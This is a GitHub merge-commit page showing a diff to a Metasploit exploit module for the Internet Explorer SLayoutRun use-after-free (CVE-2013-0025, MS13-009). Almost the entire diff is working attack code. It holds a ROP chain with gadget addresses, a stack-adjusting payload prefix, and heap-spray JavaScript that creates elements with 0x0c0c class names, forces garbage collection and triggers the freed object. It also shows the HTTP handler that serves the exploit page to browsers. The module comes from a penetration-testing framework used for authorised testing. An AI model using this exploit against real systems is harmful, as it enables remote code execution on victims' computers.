Merge pull request #2 from jvazquez-r7/ms13_009_work

Work around MS13-009
rapid7 · Feb 21, 2013 · 4d3ffb3 · 4d3ffb3
2 parents ade2c9e + 5b16e26
commit 4d3ffb3
Showing 1 changed file with 21 additions and 54 deletions.
diff --git a/...oits/windows/browser/ie_slayoutrun_uaf.rb → ...ows/browser/ms13_009_ie_slayoutrun_uaf.rb b/...oits/windows/browser/ie_slayoutrun_uaf.rb → ...ows/browser/ms13_009_ie_slayoutrun_uaf.rb
@@ -8,12 +8,11 @@
 require 'msf/core'
 
 class Metasploit3 < Msf::Exploit::Remote
-	Rank = AverageRanking
+	Rank = NormalRanking
 
 	include Msf::Exploit::Remote::HttpServer::HTML
 	include Msf::Exploit::RopDb
 
-
 	def initialize(info={})
 		super(update_info(info,
 			'Name'		  => "Microsoft Internet Explorer SLayoutRun Use-After-Free",
@@ -25,20 +24,20 @@ def initialize(info={})
 			'License'	  => MSF_LICENSE,
 			'Author'	  =>
 				[
-					'Scott Bell <scott.bell@security-assessment.com>',  # Vulnerability discovery & Metasploit module
+					'Scott Bell <scott.bell@security-assessment.com>' # Vulnerability discovery & Metasploit module
 				],
 			'References'	  =>
 				[
 					[ 'CVE', '2013-0025' ],
 					[ 'MSB', 'MS13-009' ],
-					[ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ],
+					[ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ]
 				],
 			'Payload'	  =>
 				{
-					'BadChars'		=> "\x00",
-					'Space'			=> 1024,
-					'DisableNops'		=> true,
-					'PrependEncoder'	=> "\x81\xc4\x54\xf2\xff\xff",
+					'BadChars'       => "\x00",
+					'Space'          => 920,
+					'DisableNops'    => true,
+					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
 				},
 			'DefaultOptions'  =>
 				{
@@ -137,44 +136,34 @@ def get_payload(t, cli)
 			rop_payload << [0x77c39f92].pack("V") # RETN
 			rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset
 			rop_payload << code
-
 		end
 
 		return rop_payload
 	end
 
-	def this_resource
-		r = get_resource
-		return ( r == '/') ? '' : r
-	end
-
 	def get_exploit(my_target, cli)
 		p  = get_payload(my_target, cli)
 		js = heap_spray(my_target, p)
 
-
 		html = %Q|
 		<!doctype html>
 		<html>
 		<head>
 		<script>
-		var data
-		var objArray = new Array(1800);
 		#{js}
+		</script>
+		<script>
+		var data;
+		var objArray = new Array(1150);
 
 		setTimeout(function(){
-			for (var i=0;i<objArray.length;i++){
-				objArray[i] = document.createElement('body');
-				document.body.appendChild(objArray[i])
-				objArray[i].style.display = "none"
-			}
+			document.body.style.whiteSpace = "pre-line";
 
-			document.body.style.whiteSpace = "pre-line"
+			CollectGarbage();
 
-			for(var i=0;i<10;i++){
-				for (var i=0;i<(objArray.length-650);i++){
-					objArray[i].className = data += unescape("%u0c0c%u0c0c");
-				}
+			for (var i=0;i<1150;i++){
+				objArray[i] = document.createElement('div');
+				objArray[i].className = data += unescape("%u0c0c%u0c0c");
 			}
 
 			setTimeout(function(){document.body.innerHTML = "boo"}, 100)
@@ -192,19 +181,6 @@ def get_exploit(my_target, cli)
 	end
 
 
-	def get_iframe
-		html = %Q|
-		<html>
-		<body>
-		<iframe src="#{this_resource}/#{@iframe_name}" height="1" width="1"></iframe>
-		</body>
-		</html>
-		|
-
-		return html
-	end
-
-
 	def on_request_uri(cli, request)
 		agent = request.headers['User-Agent']
 		uri   = request.uri
@@ -218,21 +194,12 @@ def on_request_uri(cli, request)
 			return
 		end
 
-		if uri =~ /#{@iframe_name}/
-			html = get_exploit(my_target, cli)
-			html = html.gsub(/^\t\t/, '')
-			print_status("Sending HTML...")
-		else
-			html = get_iframe
-			print_status "Sending IFRAME..."
-		end
-			send_response(cli, html, {'Content-Type'=>'text/html'})
-
+		html = get_exploit(my_target, cli)
+		html = html.gsub(/^\t\t/, '')
+		print_status "Sending HTML..."
+		send_response(cli, html, {'Content-Type'=>'text/html'})
 
 	end
 
-	def exploit
-		@iframe_name = "#{Rex::Text.rand_text_alpha(5)}.html"
-		super
-	end
 end
+